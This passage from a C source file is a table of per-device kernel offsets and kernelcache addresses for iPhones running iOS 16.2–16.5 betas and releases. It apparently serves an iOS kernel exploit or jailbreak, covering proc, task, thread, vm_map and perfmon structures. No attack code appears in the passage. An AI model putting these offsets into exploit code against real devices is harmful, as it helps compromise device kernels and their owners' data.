.kernelcache__vn_kqfilter = 0xfffffff007ea6294,\n    },\n    // iPhone XR 16.2 beta 2\n    // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Tue Nov  1 21:21:17 PDT 2022; root:xnu-8792.60.51.122.1~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C5043e\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a16d9a8,\n        .kernelcache__gPhysBase = 0xfffffff007807df0,\n        .kernelcache__gPhysSize = 0xfffffff007807df0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007805fd0,\n        .kernelcache__perfmon_devices = 0xfffffff00a1a95b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e54180,\n        .kernelcache__ptov_table = 0xfffffff0077bb348,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1a8980,\n        .kernelcache__vm_pages = 0xfffffff0077b8180,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ba308,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1a8978,\n        .kernelcache__vn_kqfilter = 0xfffffff007ea6830,\n    },\n\n    // iPhone 13 iOS 16.5 beta 20F5050f\n    // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Sun Apr 16 16:47:41 PDT 2023; root:xnu-8796.120.47.0.1~37/RELEASE_ARM64_T8110\",\n        .build_version = \"20F5050f\",\n        .device_id = \"iPhone14,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a515a30,\n        .kernelcache__gPhysBase = 0xfffffff0079502a8,\n        .kernelcache__gPhysSize = 0xfffffff0079502a8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e480,\n        .kernelcache__perfmon_devices = 0xfffffff00a553750,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1e7e0,\n        .kernelcache__ptov_table = 0xfffffff007903280,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a552b10,\n        .kernelcache__vm_pages = 0xfffffff0078fffc0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902230,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a552b08,\n        .kernelcache__vn_kqfilter = 0xfffffff007f6b3ec,\n    },\n\n    //iPhone 12 iOS 16.3 beta 20D5035i\n    // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:39:04 PST 2023; root:xnu-8792.80.25.122.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D5035i\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3d59c0,\n        .kernelcache__gPhysBase = 0xfffffff007850258,\n        .kernelcache__gPhysSize = 0xfffffff007850258 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784e438,\n        .kernelcache__perfmon_devices = 0xfffffff00a4115e0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee5398,\n        .kernelcache__ptov_table = 0xfffffff0078034b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a410980,\n        .kernelcache__vm_pages = 0xfffffff0078001d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802468,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a410978,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3795c,\n    },\n\n    // iOS 16.4 //\n\n  // iOS 16.4 20E246 iPhone 12 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E246\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n\n    //iPhone 13 Pro Max iOS 16.4 20E246\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E246\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a465208,\n        .kernelcache__gPhysBase = 0xfffffff007937fc0,\n        .kernelcache__gPhysSize = 0xfffffff007937fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4a3520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef9210,\n        .kernelcache__ptov_table = 0xfffffff0078eb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990,\n        .kernelcache__vm_pages = 0xfffffff0078e7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f45ae0,\n    },\n\n    // iPhone 12 Pro Max iOS 16.2 20C5049e\n       {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Tue Nov  8 21:16:34 PST 2022; root:xnu-8792.60.55.132.1~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20C5049e\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4419c0,\n        .kernelcache__gPhysBase = 0xfffffff00785c258,\n        .kernelcache__gPhysSize = 0xfffffff00785c258 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00785a438,\n        .kernelcache__perfmon_devices = 0xfffffff00a47d5e0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef0f5c,\n        .kernelcache__ptov_table = 0xfffffff00780f478,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a47c980,\n        .kernelcache__vm_pages = 0xfffffff00780c190,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780e428,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a47c978,\n        .kernelcache__vn_kqfilter = 0xfffffff007f43530,\n    },\n\n    //iPhone 11 iOS 16.3 beta 1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Dec  7 19:49:05 PST 2022; root:xnu-8792.80.21.112.1~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D5024e\",\n        .device_id = \"iPhone12,1\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3ed9b0,\n        .kernelcache__gPhysBase = 0xfffffff00787fd28,\n        .kernelcache__gPhysSize = 0xfffffff00787fd28 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00787df08,\n        .kernelcache__perfmon_devices = 0xfffffff00a4295a0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef6010,\n        .kernelcache__ptov_table = 0xfffffff007833360,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a428980,\n        .kernelcache__vm_pages = 0xfffffff007830188,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007832310,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a428978,\n        .kernelcache__vn_kqfilter = 0xfffffff007f48364,\n    },\n\n    //iPhone 13 Pro Max 16.5 beta 1\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Fri Mar 17 16:32:22 PDT 2023; root:xnu-8796.120.16~14/RELEASE_ARM64_T8110\",\n        .build_version = \"20F5028e\",\n        .device_id = \"iPhone14,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        